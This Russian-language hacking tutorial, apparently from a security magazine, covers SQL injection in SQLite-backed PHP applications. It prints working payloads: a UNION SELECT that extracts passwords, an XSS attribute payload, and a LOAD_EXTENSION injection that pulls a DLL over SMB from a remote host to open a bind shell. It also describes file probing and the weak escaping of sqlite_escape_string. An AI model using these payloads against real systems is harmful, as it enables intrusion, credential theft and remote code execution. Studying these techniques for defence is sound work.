На свете есть разные СУБД, распространенные и не очень. Хакеры уделяют большое внимание популярным СУБД, откапывая все новые и новые варианты использования инъекций. Пользуясь случаем, всем выражаю огромную благодарность за эти раскопки. Тем не менее, жизнь непредсказуема и многогранна, так что случается работать и с малораспространенными базами. Я решил написать эту статью, потому что ни одного русскоязычного текста по инъекциям в SQLite мне найти не удалось.

 

Особенности и область применения

Первое и основное отличие SQLite от других СУБД заключается в том, что в роли сервера, который мы привыкли видеть висящим на порту 3306, выступает файловая система. Файлик с базой размещается где-нибудь и при подключении указывается только путь до этого места и имя файла. Второе немаловажное отличие — разграничение прав: в базовом варианте файл с базой не зашифрован, соответственно его можно открыть и вытащить все данные. На плечах администратора лежит ответственность по разграничению прав доступа к файловой системе таким образом, чтобы файл с базой не смогли скопировать извне. Все эти особенности становятся очевидными, если рассмотреть основную область применения SQLite. Это встраиваемая база: Symbian, Apple iPhone, Google Android и многие другие используют ее для хранения данных — это удобно, быстро и эффективно. Но инъекции для встраиваемых решений не так популярны, как для веб, поэтому веб-разработчики тоже решили порадовать хакеров и написали модули SQLite для WordPress, phpBB3 и многого другого. В общем-то, много писать там особо не надо — PHP имеет нужные модули.

 

Как Sqlite используют разработчики веб-приложений

SQLite можно встроить куда угодно, но мы будем рассматривать самый распространенный вариант — PHP. Для подключения «легкой базы» у разработчика PHP есть две возможности — использовать модуль php_sqlite3 или php_sqlite (для версий СУБД 3 и 2, соответственно) или использовать модули php_sqlite3 + php_pdo_sqlite. Для хакера, реализующего найденную инъекцию, неважно, какой именно вариант выбрал разработчик. Для разработчика же драйвер третей версии открывает новые возможности для того, чтобы эту самую инъекцию хакер не нашел. В трешке есть новый класс, который зовется SQLite3Stmt — это обертка для выполнение prepared statement. То, что в народе критикуется для MySQL (передаю привет разработчикам Eleanor CMS 🙂 ). Использование такого варианта предотвращает возможность проведения инъекции с кавычками. Как показывает опыт, разработчики нередко пишут так, что оба эти варианта не требуются. Например, когда имя таблицы зависит от пользовательских данных. Prepared Statements работается только для переменных запроса, то есть после того, что идет за «FROM table». Сколько инъекций проведено по такой глупости через всякие mysql_real_ escape_string() и тому подобные страшные функции не сосчитать…

 

Полезные для инъекций функции

Видимо, самая популярная функция для иллюстрации инъекциями — это version(). В SQLite ее аналог называется sqlite_version() (все не как у людей) и выводит версию в таком формате:

sqlite> select sqlite_version();
3.6.23

Также может быть полезна функция substr(X,Y) или substr(X,Y,Z): здесь стоит обратить внимание, что третий аргумент — это длина возвращаемой строки, а не позиция до которой строка обрезается. Нумерация символов начинается с 1.

sqlite> select substr('abcdefgh',1,2);
ab

В ряде случаев может быть полезно получение символа 0x00, например для инклудов. Специально для этих целей в SQLite есть функция zeroblob(N). Параметр N указывает сколько символов 0x00 возвращать.

Если надо почистить выборку от ненужных символов, пригодится trim(X,Y). Во второй аргумент надо положить строку из тех символов, которые следуют убрать из начала и конца строки X.

sqlite> select trim('aa12312asd123asda','asd');
12312asd123

Узнать опции, с которыми собрана библиотека для работы с SQLite, можно функцией sqlite_compileoption_get(N). Номер опции перебирается, начиная от нуля.

sqlite> select sqlite_compileoption_get(0);
ENABLE_FTS3

sqlite> select sqlite_compileoption_get(1);
ENABLE_RTREE
sqlite> select sqlite_compileoption_get(2);
TEMP_STORE=1
sqlite> select sqlite_compileoption_get(3);
THREADSAFE=0

Очень обидно, что нет базовых функций concat() и char() или чего-нибудь такого для преобразования цифр в буквы. Такие вещи крайне полезны для подстановки в строковые аргументы, когда экранируются кавычки.

Впрочем, как будет показано ниже, в SQLite экранирование довольно странное.

 

Крылья, ноги… главное — хвост!

Во многих случаях для инъекции требуется экранирование хвоста запроса. В разных СУБД это решается своими спецсимволами и имеет ряд особенностей. В MySQL, как описано в официальной документации, sqlite.org/lang_comment.html разрешается использовать две конструкции:

--comment
/*comment*/

Причем последний вариант закрывает комментарий либо по «*/» либо просто по окончанию строки запроса. Так что вот такой вариант:

SELECT * FROM temp WHERE id=’injection-here
/*’ and groud_id=’5’

является полностью законным и работоспособным. Кроме того, могут быть любопытными такие запросы:

SELECT id, text FROM data WHERE id='5'
UNION SELECT user, pass FROM user '
SELECT id, text FROM data WHERE id='5'
UNION SELECT user, pass FROM user ''''' —
повторения '
SELECT id, text FROM data WHERE id='5'
UNION SELECT user, pass FROM user "
SELECT id, text FROM data WHERE id='5'
UNION SELECT user, pass FROM user """ — повторения
"

Они тоже вполне работоспособны и выполняются.

 

Экранировка

В драйверах SQLite есть функция, которая по задумке должна предотвращать инъекции. Это некий аналог mysql_escape_string. Называется она sqlite_escape_ string() и для третьей версии базы — sqlite3_escape_ string(). Сразу замечу, что две эти функции работают одинаково. Но в отличие от старших собратьев, экранирование в SQLite не такое продвинутое. Я провел коротенький тест и выявил, что же на самом деле фильтруется.

Все оказалось очень весело:

  1. Из символов ‘ “ \ - / * % _ sqlite_escape_string и sqlite3_ escape_string экранируют только одинарную кавычку.
  2. Экранирование происходит такой же одинарной кавычкой. То есть ‘ превращается в ‘’.

Отсюда делаем интересные для хакера выводы:

1. Код вида:

$query = 'SELECT data FROM tabl1 where
id="'.sqlite_escape_string($id).'" ';

или

$query = 'SELECT data FROM tabl1 where
id="'.sqlite3_escape_string($id).'" ';

уязвим к инъекции вида:

test.php?id=1”/**/UNION/**/SELECT/**/
password/**/FROM/**/USERS/**/LIMIT/**/1

2. При попадании результатов работы функции sqlite_escape_string() и sqlite3_escape_string() в тело HTML возможно проведение атаки XSS вида:

<input type='text' value='test''
onclick=javascript:alert(22) '>

3. Возможно проводить атаки на LIKE, например, расширять выборку символом % или нарушать логику работы веб-приложения.

4. Возможна искусственная «порча» запросов символом \, например для кода:

$query = "SELECT data FROM tabl1 where
id='".sqlite_escape_string($id)."'";

или

$query = “SELECT data FROM tabl1 where
id='".sqlite3_escape_string($id)."'";

запрос вида:

test.php?id=\

приведет к ошибке в SQL синтаксисе. Также, если результат выполнение функций будет передан в HTML, возможно изменение логики HTML кода.

 

Тянем таблицы за уши

В MySQL есть такая полезная штука, как INFORMATION_SCHEMA. Она появилась в пятой версии СУБД и радует хакеров информацией о таблицах. В SQLite существует ее аналог — специальная таблица под названием SQLITE_MASTER, которая присутствует и во второй и в третьей версиях. Структура этой таблицы следующая:

TABLE sqlite_master (
type TEXT,
name TEXT,
tbl_name TEXT,
rootpage INTEGER,
sql TEXT
);

Крайне удобная и полезная таблица. По сути, вся ценная информация лежит в последней колонке под названием SQL. Там хранится SQLзапрос, которым таблица создавалась. Таким образом, можно сразу узнать и название таблицы и названия ее колонок и типы данных с размерностью. Созданные триггеры и индексы лежат здесь же. В общем, кладезь информации!

Помимо глобальной таблицы есть еще таблица, которая хранит в себе временные изменения, пока транзакция в базу еще не прошла, она называется SQLITE_TEMP_MASTER.

 

Грузим шелл через инъекцию сразу в память!

Самой потрясающей находкой оказалась функция LOAD_EXTENSION(). Во второй версии базы такой функции нет, однако, положа руку на сердце, двойка SQLite встречается крайне редко, если вообще встречается. Если про смысл этой функции тебе все понятно из ее названия, дальше можно не читать статью. Я же просто скопирую сюда кусок официальной документации:

The load_extension(X,Y) function loads SQLite extensions out of the shared library file named X using the entry point Y. If Y is omitted then the default entry point of sqlite3_extension_init is used. The extension can add new functions or collating sequences, but cannot modify or delete existing functions or collating sequences because those functions and/or collating sequences might be used elsewhere in the currently running SQL statement. To load an extension that changes or deletes functions or collating sequences, use the sqlite3_load_extension() C-language API.

Короче говоря, первый аргумент — имя файла-библиотеки. Второй аргумент — точка входа, если он не задан, используется стандартная точка входа — функция sqlite3_ extension_init(). Там еще написаны какие-то странные слова про то, что библиотека не может переопределять функции, уже существующие в SQLite, якобы, для этого надо использовать какую-то C++ API. Неужели разработчики не понимали, какой горизонт они открывают для работы с памятью?! Чтобы обойти ограничение на переопределение встроенных в SQLite функций для Win32 есть вот такой исходник:

#ifdef HACK
//'select load_
extension('sqlite_1251.dll', 'hack');
DWORD WINAPI ThreadProc(
sqlite3 *db)
{
Sleep(3000);
sqlite3_extension_init(
db,0,sqlite3_api);
return 0;
}
int __declspec(dllexport)
__cdecl hack()
{
HANDLE hThread;
SQLITE_EXTENSION_INIT2(pApi)
hThread = CreateThread(NULL,
0,ThreadProc,db,0,0);
CloseHandle(hThread);
return 0;
}
#endif

Этот код я случайно нарыл в гугле пока писал статью: theli.is-a-geek.org/blog/development/sqlite_hack.1024px#comment_ anchor. Но это все лирика, не надо далеко ходить и выдумывать, если сразу можно получить шелл. Приводить здесь исходник такой библиотеки я не буду, потому что это, во-первых, слишком тривиально, а, во-вторых, может кому-то навредить. Таким образом, для получения шелла нужно еще каким-то образом залить саму библиотеку на веб-сервер. Никаких INTO OUTFILE, INTO DUMPFILE, равно как и LOADFILE() в SQLite нету. Зато… Если веб-сервер управляется Win-машиной, то ничего заливать не потребуется вовсе. Волшебная ОС открывает путь к получению файла с библиотекой по SMB:

SELECT data FROM tbl1
WHERE id=”5”/**/UNION/**/
ALL/**/SELECT/**/LOAD_
EXTENSION("\\10.10.10.10\evil-lib.
dll","bindShell");

Кроме того, эту функцию можно использовать для проверки наличия файлов на целевой системе. Например, если файла не существует, ошибка выполнения:

SELECT LOAD_EXTENSION(
'/file/that/does/not/exists');

будет такой:

Error: The specified module could
not be found.

А если файл существует, то в случае Winмашины ошибка будет либо:

Error: The specified procedure
could not be found.

Либо, если файл не является исполняемым:

Error: %1 is not a valid Win32
application.

Правда не все так хорошо, как кажется на первый взгляд, при сборке эту функцию могут отключить и испортить весь праздник нашедшему инъекцию. Но, как бы то ни было, лучше иметь в рукаве такую функцию, чем не иметь ее.

 

Заключение

На этом предлагаю окончить первое знакомство с легкой базой. Выражаю надежду, что материал был полезен. Призываю всех заинтересовавшихся продолжить мои исследования и пополнить список приемов и техник, а также просто веб-приложений, которые работают на SQLite. Также замечу, что распространенность описанной базы ежегодно растет, порой приложения, использующие SQLite, можно обнаружить в самых неожиданных местах. Как всегда, на вопросы отвечаю в блоге oxod.ru

 

Links

  • oxod.ru — мой блог. Пишу по мере желания. Жду комментариев, отвечу на вопросы.
  • http://sqlite.org/lang.html — синтаксис SQL для SQLite. Рекомендую обратить внимание на встроенные функции.
  • sqlite.org/limits.html — перечень ограничений SQLite. Полезно для ознакомления.
  • sqlite.org/faq.html — очень много полезной информации по базе можно получить отсюда.
  • sqlite-crypt.com/documentation.htm — один из модулей для шифрования файла с базой. Использует AES и 1 пароль.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии